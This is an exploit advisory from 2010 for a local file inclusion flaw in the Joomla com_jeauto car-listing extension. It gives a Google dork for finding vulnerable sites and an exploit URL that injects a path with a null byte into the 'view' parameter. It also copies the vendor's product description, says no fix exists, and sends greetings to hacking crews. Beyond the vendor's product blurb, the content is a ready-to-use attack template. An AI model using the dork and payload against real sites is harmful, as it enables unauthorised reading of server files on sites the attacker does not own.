#Name : Joomla com_jeauto LFI Vulnerability
#Date : Dec,7 2010
#Vendor Url :http://joomlaextensions.co.in/jeauto
#Dork:inurl:com_jeauto
#Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
#Big hugs : Th3 RDX,Hanan_butt,
#special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,SeeMe,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!
Te,n4pst3rr,tranquiller
#greetz to :!Op3x_ninjato team,www.topsecure.net ,trent Dillman,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
User can also see the category at the front page. Category wise items (cars) are displayed in it. Click on the
particular category it will display that category item. If user wants to see that item (car) then click on that
item (car) then it will display the item full description.
User can see the item’s in the Google Map. User can also rate the particular item (car). We have put the Ajax
rating control to rate the item (car). Admin can set the design of category page, item (car) page and item (car)
detail page from the back end. Admin can also create the fields dynamically from the back end.
###############################################################################################################
Exploit:
http://server/jeauto/index.php?option=com_jeauto&view=[LFI]%00
###############################################################################################################
Fix:
N/a
###############################################################################################################
# 0day no more
# Sid3^effects
# 1337day.com
